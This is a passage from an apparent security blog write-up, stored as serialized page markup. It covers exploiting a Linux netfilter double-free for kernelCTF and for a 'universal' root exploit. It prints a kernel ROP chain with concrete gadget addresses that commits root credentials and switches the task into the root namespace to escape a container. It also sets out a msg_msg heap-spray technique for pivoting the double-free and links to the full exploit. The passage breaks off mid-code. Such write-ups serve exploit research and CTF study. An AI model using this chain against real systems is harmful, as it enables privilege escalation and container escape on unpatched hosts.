",{"type":24,"tag":284,"props":63342,"children":63344},{"className":63343},[],[63345],{"type":29,"value":63346},"__rcu_read_unlock()",{"type":29,"value":63348}," function and exit the RCU critical-section before switching contexts.",{"type":24,"tag":317,"props":63350,"children":63352},{"className":35818,"code":63351,"language":35820,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[63353],{"type":24,"tag":284,"props":63354,"children":63355},{"__ignoreMap":7},[63356,63364,63388,63395],{"type":24,"tag":327,"props":63357,"children":63358},{"class":329,"line":330},[63359],{"type":24,"tag":327,"props":63360,"children":63361},{"style":551},[63362],{"type":29,"value":63363},"    // ROP stage 1\n",{"type":24,"tag":327,"props":63365,"children":63366},{"class":329,"line":367},[63367,63371,63376,63380,63384],{"type":24,"tag":327,"props":63368,"children":63369},{"style":334},[63370],{"type":29,"value":373},{"type":24,"tag":327,"props":63372,"children":63373},{"style":346},[63374],{"type":29,"value":63375}," pos ",{"type":24,"tag":327,"props":63377,"children":63378},{"style":381},[63379],{"type":29,"value":384},{"type":24,"tag":327,"props":63381,"children":63382},{"style":397},[63383],{"type":29,"value":400},{"type":24,"tag":327,"props":63385,"children":63386},{"style":346},[63387],{"type":29,"value":405},{"type":24,"tag":327,"props":63389,"children":63390},{"class":329,"line":408},[63391],{"type":24,"tag":327,"props":63392,"children":63393},{"emptyLinePlaceholder":16},[63394],{"type":29,"value":544},{"type":24,"tag":327,"props":63396,"children":63397},{"class":329,"line":421},[63398,63402,63407,63411,63415,63419,63423,63427],{"type":24,"tag":327,"props":63399,"children":63400},{"style":356},[63401],{"type":29,"value":62891},{"type":24,"tag":327,"props":63403,"children":63404},{"style":346},[63405],{"type":29,"value":63406},"[pos",{"type":24,"tag":327,"props":63408,"children":63409},{"style":381},[63410],{"type":29,"value":57990},{"type":24,"tag":327,"props":63412,"children":63413},{"style":346},[63414],{"type":29,"value":16221},{"type":24,"tag":327,"props":63416,"children":63417},{"style":381},[63418],{"type":29,"value":384},{"type":24,"tag":327,"props":63420,"children":63421},{"style":346},[63422],{"type":29,"value":62912},{"type":24,"tag":327,"props":63424,"children":63425},{"style":381},[63426],{"type":29,"value":394},{"type":24,"tag":327,"props":63428,"children":63429},{"style":346},[63430],{"type":29,"value":63431}," __RCU_READ_UNLOCK;\n",{"type":24,"tag":235,"props":63433,"children":63435},{"id":63434},"rop",[63436],{"type":29,"value":63091},{"type":24,"tag":25,"props":63438,"children":63439},{},[63440],{"type":29,"value":63441},"Most of the ROP chain to escape the container as root is business as usual:",{"type":24,"tag":1380,"props":63443,"children":63444},{},[63445,63456,63467],{"type":24,"tag":179,"props":63446,"children":63447},{},[63448,63454],{"type":24,"tag":284,"props":63449,"children":63451},{"className":63450},[],[63452],{"type":29,"value":63453},"commit_creds(&init_cred);",{"type":29,"value":63455}," Commit root credentials to our process",{"type":24,"tag":179,"props":63457,"children":63458},{},[63459,63465],{"type":24,"tag":284,"props":63460,"children":63462},{"className":63461},[],[63463],{"type":29,"value":63464},"task = find_task_by_vpid(1);",{"type":29,"value":63466}," Find the root process of our namespace",{"type":24,"tag":179,"props":63468,"children":63469},{},[63470,63476],{"type":24,"tag":284,"props":63471,"children":63473},{"className":63472},[],[63474],{"type":29,"value":63475},"switch_task_namespaces(task, &init_nsproxy);",{"type":29,"value":63477}," Move it to the root namespace",{"type":24,"tag":25,"props":63479,"children":63480},{},[63481,63483,63489,63491,63497,63499,63505,63507,63513,63515,63520,63522,63528],{"type":29,"value":63482},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":24,"tag":284,"props":63484,"children":63486},{"className":63485},[],[63487],{"type":29,"value":63488},"find_task_by_vpid(1)",{"type":29,"value":63490}," passed through ",{"type":24,"tag":284,"props":63492,"children":63494},{"className":63493},[],[63495],{"type":29,"value":63496},"rax",{"type":29,"value":63498}," to ",{"type":24,"tag":284,"props":63500,"children":63502},{"className":63501},[],[63503],{"type":29,"value":63504},"rdi",{"type":29,"value":63506},". What I ended up going with was a ",{"type":24,"tag":284,"props":63508,"children":63510},{"className":63509},[],[63511],{"type":29,"value":63512},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":29,"value":63514}," gadget, that allowed me to push the ",{"type":24,"tag":284,"props":63516,"children":63518},{"className":63517},[],[63519],{"type":29,"value":63496},{"type":29,"value":63521}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":24,"tag":284,"props":63523,"children":63525},{"className":63524},[],[63526],{"type":29,"value":63527},"pop rdi; ret",{"type":29,"value":63529}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":24,"tag":1380,"props":63531,"children":63532},{},[63533,63538,63551],{"type":24,"tag":179,"props":63534,"children":63535},{},[63536],{"type":29,"value":63537},"We push the value onto the stack (stack pointer regresses)",{"type":24,"tag":179,"props":63539,"children":63540},{},[63541,63543,63549],{"type":29,"value":63542},"We jump to our \"trampoline\" gadget (",{"type":24,"tag":284,"props":63544,"children":63546},{"className":63545},[],[63547],{"type":29,"value":63548},"pop rdi; ret;",{"type":29,"value":63550}," location)",{"type":24,"tag":179,"props":63552,"children":63553},{},[63554,63559],{"type":24,"tag":284,"props":63555,"children":63557},{"className":63556},[],[63558],{"type":29,"value":63527},{"type":29,"value":63560}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":24,"tag":317,"props":63562,"children":63564},{"className":35818,"code":63563,"language":35820,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[63565],{"type":24,"tag":284,"props":63566,"children":63567},{"__ignoreMap":7},[63568,63575,63592,63637,63673,63709,63716,63724,63767,63798,63834,63879,63934,63979,63986,63994,64037,64073,64109],{"type":24,"tag":327,"props":63569,"children":63570},{"class":329,"line":330},[63571],{"type":24,"tag":327,"props":63572,"children":63573},{"style":346},[63574],{"type":29,"value":17865},{"type":24,"tag":327,"props":63576,"children":63577},{"class":329,"line":367},[63578,63583,63588],{"type":24,"tag":327,"props":63579,"children":63580},{"style":346},[63581],{"type":29,"value":63582},"    // commit_creds(&",{"type":24,"tag":327,"props":63584,"children":63585},{"style":356},[63586],{"type":29,"value":63587},"init_cred",{"type":24,"tag":327,"props":63589,"children":63590},{"style":346},[63591],{"type":29,"value":583},{"type":24,"tag":327,"props":63593,"children":63594},{"class":329,"line":408},[63595,63599,63603,63607,63611,63615,63619,63623,63628,63632],{"type":24,"tag":327,"props":63596,"children":63597},{"style":356},[63598],{"type":29,"value":62891},{"type":24,"tag":327,"props":63600,"children":63601},{"style":346},[63602],{"type":29,"value":63406},{"type":24,"tag":327,"props":63604,"children":63605},{"style":381},[63606],{"type":29,"value":57990},{"type":24,"tag":327,"props":63608,"children":63609},{"style":346},[63610],{"type":29,"value":16221},{"type":24,"tag":327,"props":63612,"children":63613},{"style":381},[63614],{"type":29,"value":384},{"type":24,"tag":327,"props":63616,"children":63617},{"style":346},[63618],{"type":29,"value":62912},{"type":24,"tag":327,"props":63620,"children":63621},{"style":381},[63622],{"type":29,"value":394},{"type":24,"tag":327,"props":63624,"children":63625},{"style":397},[63626],{"type":29,"value":63627}," 0xffffffff8112c7c0",{"type":24,"tag":327,"props":63629,"children":63630},{"style":346},[63631],{"type":29,"value":55794},{"type":24,"tag":327,"props":63633,"children":63634},{"style":551},[63635],{"type":29,"value":63636}," // pop rdi; ret;\n",{"type":24,"tag":327,"props":63638,"children":63639},{"class":329,"line":421},[63640,63644,63648,63652,63656,63660,63664,63668],{"type":24,"tag":327,"props":63641,"children":63642},{"style":356},[63643],{"type":29,"value":62891},{"type":24,"tag":327,"props":63645,"children":63646},{"style":346},[63647],{"type":29,"value":63406},{"type":24,"tag":327,"props":63649,"children":63650},{"style":381},[63651],{"type":29,"value":57990},{"type":24,"tag":327,"props":63653,"children":63654},{"style":346},[63655],{"type":29,"value":16221},{"type":24,"tag":327,"props":63657,"children":63658},{"style":381},[63659],{"type":29,"value":384},{"type":24,"tag":327,"props":63661,"children":63662},{"style":346},[63663],{"type":29,"value":62912},{"type":24,"tag":327,"props":63665,"children":63666},{"style":381},[63667],{"type":29,"value":394},{"type":24,"tag":327,"props":63669,"children":63670},{"style":346},[63671],{"type":29,"value":63672}," INIT_CRED;\n",{"type":24,"tag":327,"props":63674,"children":63675},{"class":329,"line":450},[63676,63680,63684,63688,63692,63696,63700,63704],{"type":24,"tag":327,"props":63677,"children":63678},{"style":356},[63679],{"type":29,"value":62891},{"type":24,"tag":327,"props":63681,"children":63682},{"style":346},[63683],{"type":29,"value":63406},{"type":24,"tag":327,"props":63685,"children":63686},{"style":381},[63687],{"type":29,"value":57990},{"type":24,"tag":327,"props":63689,"children":63690},{"style":346},[63691],{"type":29,"value":16221},{"type":24,"tag":327,"props":63693,"children":63694},{"style":381},[63695],{"type":29,"value":384},{"type":24,"tag":327,"props":63697,"children":63698},{"style":346},[63699],{"type":29,"value":62912},{"type":24,"tag":327,"props":63701,"children":63702},{"style":381},[63703],{"type":29,"value":394},{"type":24,"tag":327,"props":63705,"children":63706},{"style":346},[63707],{"type":29,"value":63708}," COMMIT_CREDS;\n",{"type":24,"tag":327,"props":63710,"children":63711},{"class":329,"line":481},[63712],{"type":24,"tag":327,"props":63713,"children":63714},{"emptyLinePlaceholder":16},[63715],{"type":29,"value":544},{"type":24,"tag":327,"props":63717,"children":63718},{"class":329,"line":500},[63719],{"type":24,"tag":327,"props":63720,"children":63721},{"style":551},[63722],{"type":29,"value":63723},"    // task = find_task_by_vpid(1);\n",{"type":24,"tag":327,"props":63725,"children":63726},{"class":329,"line":529},[63727,63731,63735,63739,63743,63747,63751,63755,63759,63763],{"type":24,"tag":327,"props":63728,"children":63729},{"style":356},[63730],{"type":29,"value":62891},{"type":24,"tag":327,"props":63732,"children":63733},{"style":346},[63734],{"type":29,"value":63406},{"type":24,"tag":327,"props":63736,"children":63737},{"style":381},[63738],{"type":29,"value":57990},{"type":24,"tag":327,"props":63740,"children":63741},{"style":346},[63742],{"type":29,"value":16221},{"type":24,"tag":327,"props":63744,"children":63745},{"style":381},[63746],{"type":29,"value":384},{"type":24,"tag":327,"props":63748,"children":63749},{"style":346},[63750],{"type":29,"value":62912},{"type":24,"tag":327,"props":63752,"children":63753},{"style":381},[63754],{"type":29,"value":394},{"type":24,"tag":327,"props":63756,"children":63757},{"style":397},[63758],{"type":29,"value":63627},{"type":24,"tag":327,"props":63760,"children":63761},{"style":346},[63762],{"type":29,"value":55794},{"type":24,"tag":327,"props":63764,"children":63765},{"style":551},[63766],{"type":29,"value":63636},{"type":24,"tag":327,"props":63768,"children":63769},{"class":329,"line":538},[63770,63774,63778,63782,63786,63790,63794],{"type":24,"tag":327,"props":63771,"children":63772},{"style":356},[63773],{"type":29,"value":62891},{"type":24,"tag":327,"props":63775,"children":63776},{"style":346},[63777],{"type":29,"value":63406},{"type":24,"tag":327,"props":63779,"children":63780},{"style":381},[63781],{"type":29,"value":57990},{"type":24,"tag":327,"props":63783,"children":63784},{"style":346},[63785],{"type":29,"value":16221},{"type":24,"tag":327,"props":63787,"children":63788},{"style":381},[63789],{"type":29,"value":384},{"type":24,"tag":327,"props":63791,"children":63792},{"style":397},[63793],{"type":29,"value":522},{"type":24,"tag":327,"props":63795,"children":63796},{"style":346},[63797],{"type":29,"value":405},{"type":24,"tag":327,"props":63799,"children":63800},{"class":329,"line":547},[63801,63805,63809,63813,63817,63821,63825,63829],{"type":24,"tag":327,"props":63802,"children":63803},{"style":356},[63804],{"type":29,"value":62891},{"type":24,"tag":327,"props":63806,"children":63807},{"style":346},[63808],{"type":29,"value":63406},{"type":24,"tag":327,"props":63810,"children":63811},{"style":381},[63812],{"type":29,"value":57990},{"type":24,"tag":327,"props":63814,"children":63815},{"style":346},[63816],{"type":29,"value":16221},{"type":24,"tag":327,"props":63818,"children":63819},{"style":381},[63820],{"type":29,"value":384},{"type":24,"tag":327,"props":63822,"children":63823},{"style":346},[63824],{"type":29,"value":62912},{"type":24,"tag":327,"props":63826,"children":63827},{"style":381},[63828],{"type":29,"value":394},{"type":24,"tag":327,"props":63830,"children":63831},{"style":346},[63832],{"type":29,"value":63833}," FIND_TASK_BY_VPID;\n",{"type":24,"tag":327,"props":63835,"children":63836},{"class":329,"line":557},[63837,63841,63845,63849,63853,63857,63861,63865,63870,63874],{"type":24,"tag":327,"props":63838,"children":63839},{"style":356},[63840],{"type":29,"value":62891},{"type":24,"tag":327,"props":63842,"children":63843},{"style":346},[63844],{"type":29,"value":63406},{"type":24,"tag":327,"props":63846,"children":63847},{"style":381},[63848],{"type":29,"value":57990},{"type":24,"tag":327,"props":63850,"children":63851},{"style":346},[63852],{"type":29,"value":16221},{"type":24,"tag":327,"props":63854,"children":63855},{"style":381},[63856],{"type":29,"value":384},{"type":24,"tag":327,"props":63858,"children":63859},{"style":346},[63860],{"type":29,"value":62912},{"type":24,"tag":327,"props":63862,"children":63863},{"style":381},[63864],{"type":29,"value":394},{"type":24,"tag":327,"props":63866,"children":63867},{"style":397},[63868],{"type":29,"value":63869}," 0xffffffff8102e2a6",{"type":24,"tag":327,"props":63871,"children":63872},{"style":346},[63873],{"type":29,"value":55794},{"type":24,"tag":327,"props":63875,"children":63876},{"style":551},[63877],{"type":29,"value":63878}," // pop rsi; ret;\n",{"type":24,"tag":327,"props":63880,"children":63881},{"class":329,"line":586},[63882,63886,63890,63894,63898,63902,63907,63911,63916,63920,63925,63929],{"type":24,"tag":327,"props":63883,"children":63884},{"style":356},[63885],{"type":29,"value":62891},{"type":24,"tag":327,"props":63887,"children":63888},{"style":346},[63889],{"type":29,"value":63406},{"type":24,"tag":327,"props":63891,"children":63892},{"style":381},[63893],{"type":29,"value":57990},{"type":24,"tag":327,"props":63895,"children":63896},{"style":346},[63897],{"type":29,"value":16221},{"type":24,"tag":327,"props":63899,"children":63900},{"style":381},[63901],{"type":29,"value":384},{"type":24,"tag":327,"props":63903,"children":63904},{"style":346},[63905],{"type":29,"value":63906}," obj_ptr ",{"type":24,"tag":327,"props":63908,"children":63909},{"style":381},[63910],{"type":29,"value":394},{"type":24,"tag":327,"props":63912,"children":63913},{"style":397},[63914],{"type":29,"value":63915}," 0xe0",{"type":24,"tag":327,"props":63917,"children":63918},{"style":381},[63919],{"type":29,"value":57976},{"type":24,"tag":327,"props":63921,"children":63922},{"style":397},[63923],{"type":29,"value":63924}," 0x66",{"type":24,"tag":327,"props":63926,"children":63927},{"style":346},[63928],{"type":29,"value":55794},{"type":24,"tag":327,"props":63930,"children":63931},{"style":551},[63932],{"type":29,"value":63933},"            // rax -> rdi and resume rop\n",{"type":24,"tag":327,"props":63935,"children":63936},{"class":329,"line":1017},[63937,63941,63945,63949,63953,63957,63961,63965,63970,63974],{"type":24,"tag":327,"props":63938,"children":63939},{"style":356},[63940],{"type":29,"value":62891},{"type":24,"tag":327,"props":63942,"children":63943},{"style":346},[63944],{"type":29,"value":63406},{"type":24,"tag":327,"props":63946,"children":63947},{"style":381},[63948],{"type":29,"value":57990},{"type":24,"tag":327,"props":63950,"children":63951},{"style":346},[63952],{"type":29,"value":16221},{"type":24,"tag":327,"props":63954,"children":63955},{"style":381},[63956],{"type":29,"value":384},{"type":24,"tag":327,"props":63958,"children":63959},{"style":346},[63960],{"type":29,"value":62912},{"type":24,"tag":327,"props":63962,"children":63963},{"style":381},[63964],{"type":29,"value":394},{"type":24,"tag":327,"props":63966,"children":63967},{"style":397},[63968],{"type":29,"value":63969}," 0xffffffff81caed31",{"type":24,"tag":327,"props":63971,"children":63972},{"style":346},[63973],{"type":29,"value":55794},{"type":24,"tag":327,"props":63975,"children":63976},{"style":551},[63977],{"type":29,"value":63978}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":24,"tag":327,"props":63980,"children":63981},{"class":329,"line":1026},[63982],{"type":24,"tag":327,"props":63983,"children":63984},{"emptyLinePlaceholder":16},[63985],{"type":29,"value":544},{"type":24,"tag":327,"props":63987,"children":63988},{"class":329,"line":1048},[63989],{"type":24,"tag":327,"props":63990,"children":63991},{"style":551},[63992],{"type":29,"value":63993},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":24,"tag":327,"props":63995,"children":63996},{"class":329,"line":1067},[63997,64001,64005,64009,64013,64017,64021,64025,64029,64033],{"type":24,"tag":327,"props":63998,"children":63999},{"style":356},[64000],{"type":29,"value":62891},{"type":24,"tag":327,"props":64002,"children":64003},{"style":346},[64004],{"type":29,"value":63406},{"type":24,"tag":327,"props":64006,"children":64007},{"style":381},[64008],{"type":29,"value":57990},{"type":24,"tag":327,"props":64010,"children":64011},{"style":346},[64012],{"type":29,"value":16221},{"type":24,"tag":327,"props":64014,"children":64015},{"style":381},[64016],{"type":29,"value":384},{"type":24,"tag":327,"props":64018,"children":64019},{"style":346},[64020],{"type":29,"value":62912},{"type":24,"tag":327,"props":64022,"children":64023},{"style":381},[64024],{"type":29,"value":394},{"type":24,"tag":327,"props":64026,"children":64027},{"style":397},[64028],{"type":29,"value":63869},{"type":24,"tag":327,"props":64030,"children":64031},{"style":346},[64032],{"type":29,"value":55794},{"type":24,"tag":327,"props":64034,"children":64035},{"style":551},[64036],{"type":29,"value":63878},{"type":24,"tag":327,"props":64038,"children":64039},{"class":329,"line":1075},[64040,64044,64048,64052,64056,64060,64064,64068],{"type":24,"tag":327,"props":64041,"children":64042},{"style":356},[64043],{"type":29,"value":62891},{"type":24,"tag":327,"props":64045,"children":64046},{"style":346},[64047],{"type":29,"value":63406},{"type":24,"tag":327,"props":64049,"children":64050},{"style":381},[64051],{"type":29,"value":57990},{"type":24,"tag":327,"props":64053,"children":64054},{"style":346},[64055],{"type":29,"value":16221},{"type":24,"tag":327,"props":64057,"children":64058},{"style":381},[64059],{"type":29,"value":384},{"type":24,"tag":327,"props":64061,"children":64062},{"style":346},[64063],{"type":29,"value":62912},{"type":24,"tag":327,"props":64065,"children":64066},{"style":381},[64067],{"type":29,"value":394},{"type":24,"tag":327,"props":64069,"children":64070},{"style":346},[64071],{"type":29,"value":64072}," INIT_NSPROXY;\n",{"type":24,"tag":327,"props":64074,"children":64075},{"class":329,"line":1084},[64076,64080,64084,64088,64092,64096,64100,64104],{"type":24,"tag":327,"props":64077,"children":64078},{"style":356},[64079],{"type":29,"value":62891},{"type":24,"tag":327,"props":64081,"children":64082},{"style":346},[64083],{"type":29,"value":63406},{"type":24,"tag":327,"props":64085,"children":64086},{"style":381},[64087],{"type":29,"value":57990},{"type":24,"tag":327,"props":64089,"children":64090},{"style":346},[64091],{"type":29,"value":16221},{"type":24,"tag":327,"props":64093,"children":64094},{"style":381},[64095],{"type":29,"value":384},{"type":24,"tag":327,"props":64097,"children":64098},{"style":346},[64099],{"type":29,"value":62912},{"type":24,"tag":327,"props":64101,"children":64102},{"style":381},[64103],{"type":29,"value":394},{"type":24,"tag":327,"props":64105,"children":64106},{"style":346},[64107],{"type":29,"value":64108}," SWITCH_TASK_NAMESPACES;\n",{"type":24,"tag":327,"props":64110,"children":64111},{"class":329,"line":1100},[64112],{"type":24,"tag":327,"props":64113,"children":64114},{"style":346},[64115],{"type":29,"value":17865},{"type":24,"tag":235,"props":64117,"children":64119},{"id":64118},"grabbing-the-kernelctf-flag",[64120],{"type":29,"value":64121},"Grabbing the kernelCTF flag",{"type":24,"tag":25,"props":64123,"children":64124},{},[64125,64129,64131,64138],{"type":24,"tag":11511,"props":64126,"children":64128},{"alt":57299,"src":64127},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":29,"value":64130},"\nYou can find the kernelCTF exploit in our ",{"type":24,"tag":57,"props":64132,"children":64135},{"href":64133,"rel":64134},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[61],[64136],{"type":29,"value":64137},"GitHub",{"type":29,"value":66},{"type":24,"tag":228,"props":64140,"children":64142},{"id":64141},"universal-exploit",[64143],{"type":29,"value":64144},"Universal exploit",{"type":24,"tag":25,"props":64146,"children":64147},{},[64148],{"type":29,"value":64149},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":24,"tag":235,"props":64151,"children":64153},{"id":64152},"pivot-capability-using-msg_msg-mlistnext-pointer",[64154],{"type":29,"value":64155},"Pivot capability using msg_msg->mlist.next pointer",{"type":24,"tag":25,"props":64157,"children":64158},{},[64159,64161,64167,64169,64174,64176,64182],{"type":29,"value":64160},"Using the double-free vulnerability we can overlap a ",{"type":24,"tag":284,"props":64162,"children":64164},{"className":64163},[],[64165],{"type":29,"value":64166},"msg_msg",{"type":29,"value":64168}," object with with ",{"type":24,"tag":284,"props":64170,"children":64172},{"className":64171},[],[64173],{"type":29,"value":61820},{"type":29,"value":64175}," and control the ",{"type":24,"tag":284,"props":64177,"children":64179},{"className":64178},[],[64180],{"type":29,"value":64181},"m_list.next",{"type":29,"value":64183}," pointer.",{"type":24,"tag":317,"props":64185,"children":64187},{"className":35818,"code":64186,"language":35820,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[64188],{"type":24,"tag":284,"props":64189,"children":64190},{"__ignoreMap":7},[64191,64199,64215,64236,64249,64267,64292,64308,64316,64323,64330,64338,64370],{"type":24,"tag":327,"props":64192,"children":64193},{"class":329,"line":330},[64194],{"type":24,"tag":327,"props":64195,"children":64196},{"style":551},[64197],{"type":29,"value":64198},"/* one msg_msg structure for each message */\n",{"type":24,"tag":327,"props":64200,"children":64201},{"class":329,"line":367},[64202,64206,64211],{"type":24,"tag":327,"props":64203,"children":64204},{"style":334},[64205],{"type":29,"value":2195},{"type":24,"tag":327,"props":64207,"children":64208},{"style":1639},[64209],{"type":29,"value":64210}," msg_msg",{"type":24,"tag":327,"props":64212,"children":64213},{"style":346},[64214],{"type":29,"value":497},{"type":24,"tag":327,"props":64216,"children":64217},{"class":329,"line":408},[64218,64222,64227,64232],{"type":24,"tag":327,"props":64219,"children":64220},{"style":334},[64221],{"type":29,"value":2529},{"type":24,"tag":327,"props":64223,"children":64224},{"style":1639},[64225],{"type":29,"value":64226}," list_head",{"type":24,"tag":327,"props":64228,"children":64229},{"style":356},[64230],{"type":29,"value":64231}," m_list",{"type":24,"tag":327,"props":64233,"children":64234},{"style":346},[64235],{"type":29,"value":405},{"type":24,"tag":327,"props":64237,"children":64238},{"class":329,"line":421},[64239,64244],{"type":24,"tag":327,"props":64240,"children":64241},{"style":334},[64242],{"type":29,"value":64243}," long",{"type":24,"tag":327,"props":64245,"children":64246},{"style":346},[64247],{"type":29,"value":64248}," m_type;\n",{"type":24,"tag":327,"props":64250,"children":64251},{"class":329,"line":450},[64252,64257,64262],{"type":24,"tag":327,"props":64253,"children":64254},{"style":334},[64255],{"type":29,"value":64256}," size_t",{"type":24,"tag":327,"props":64258,"children":64259},{"style":346},[64260],{"type":29,"value":64261}," m_ts;",{"type":24,"tag":327,"props":64263,"children":64264},{"style":551},[64265],{"type":29,"value":64266},"  /* message text size */\n",{"type":24,"tag":327,"props":64268,"children":64269},{"class":329,"line":481},[64270,64274,64279,64283,64288],{"type":24,"tag":327,"props":64271,"children":64272},{"style":334},[64273],{"type":29,"value":2529},{"type":24,"tag":327,"props":64275,"children":64276},{"style":1639},[64277],{"type":29,"value":64278}," msg_msgseg",{"type":24,"tag":327,"props":64280,"children":64281},{"style":334},[64282],{"type":29,"value":17364},{"type":24,"tag":327,"props":64284,"children":64285},{"style":356},[64286],{"type":29,"value":64287},"next",{"type":24,"tag":327,"props":64289,"children":64290},{"style":346},[64291],{"type":29,"value":405},{"type":24,"tag":327,"props":64293,"children":64294},{"class":329,"line":500},[64295,64299,64303],{"type":24,"tag":327,"props":64296,"children":64297},{"style":334},[64298],{"type":29,"value":57770},{"type":24,"tag":327,"props":64300,"children":64301},{"style":381},[64302],{"type":29,"value":17364},{"type":24,"tag":327,"props":64304,"children":64305},{"style":346},[64306],{"type":29,"value":64307},"security;\n",{"type":24,"tag":327,"props":64309,"children":64310},{"class":329,"line":529},[64311],{"type":24,"tag":327,"props":64312,"children":64313},{"style":551},[64314],{"type":29,"value":64315}," /* the actual message follows immediately */\n",{"type":24,"tag":327,"props":64317,"children":64318},{"class":329,"line":538},[64319],{"type":24,"tag":327,"props":64320,"children":64321},{"style":346},[64322],{"type":29,"value":24092},{"type":24,"tag":327,"props":64324,"children":64325},{"class":329,"line":547},[64326],{"type":24,"tag":327,"props":64327,"children":64328},{"style":346},[64329],{"type":29,"value":17865},{"type":24,"tag":327,"props":64331,"children":64332},{"class":329,"line":557},[64333],{"type":24,"tag":327,"props":64334,"children":64335},{"style":346},[64336],{"type":29,"value":64337},"struct list_head {\n",{"type":24,"tag":327,"props":64339,"children":64340},{"class":329,"line":586},[64341,64345,64349,64353,64357,64361,64365],{"type":24,"tag":327,"props":64342,"children":64343},{"style":334},[64344],{"type":29,"value":2529},{"type":24,"tag":327,"props":64346,"children":64347},{"style":1639},[64348],{"type":29,"value":64226},{"type":24,"tag":327,"props":64350,"children":64351},{"style":334},[64352],{"type":29,"value":17364},{"type":24,"tag":327,"props":64354,"children":64355},{"style":356},[64356],{"type":29,"value":64287},{"type":24,"tag":327,"props":64358,"children":64359},{"style":346},[64360],{"type":29,"value":2744},{"type":24,"tag":327,"props":64362,"children":64363},{"style":381},[64364],{"type":29,"value":469},{"type":24,"tag":327,"props":64366,"children":64367},{"style":346},[64368],{"type":29,"value":64369},"prev;\n",{"type":24,"tag":327,"props":64371,"children":64372},{"class":329,"line":1017},[64373],{"type":24,"tag":327,"props":64374,"children":64375},{"style":346},[64376],{"type":29,"value":24092},{"type":24,"tag":25,"props":64378,"children":64379},{},[64380,64382,64388,64390,64395],{"type":29,"value":64381},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":24,"tag":284,"props":64383,"children":64385},{"className":64384},[],[64386],{"type":29,"value":64387},"mlist.next",{"type":29,"value":64389}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":24,"tag":284,"props":64391,"children":64393},{"className":64392},[],[64394],{"type":29,"value":64166},{"type":29,"value":64396}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":24,"tag":25,"props":64398,"children":64399},{},[64400,64402,64407,64409],{"type":29,"value":64401},"By incrementing the next pointer of our controllable ",{"type":24,"tag":284,"props":64403,"children":64405},{"className":64404},[],[64406],{"type":29,"value":64166},{"type":29,"value":64408}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":24,"tag":11511,"props":64410,"children":64412},{"alt":57299,"src":64411},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":24,"tag":317,"props":64414,"children":64416},{"className":35818,"code":64415,"language":35820,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[64417],{"type":24,"tag":284,"props":64418,"children":64419},{"__ignoreMap":7},[64420,64427,64435,64461,64478,64526,64533,64573,64605,64612,64633,64640,64687,64751,64777,64823,64847,64891,64898,64906,64942,64966,64973,64993,65000],{"type":24,"tag":327,"props":64421,"children":64422},{"class":329,"line":330},[64423],{"type":24,"tag":327,"props":64424,"children":64425},{"style":346},[64426],{"type":29,"value":17865},{"type":24,"tag":327,"props":64428,"children":64429},{"class":329,"line":367},[64430],{"type":24,"tag":327,"props":64431,"children":64432},{"style":346},[64433],{"type":29,"value":64434},"    // Spray msg_msg in kmalloc-256 and 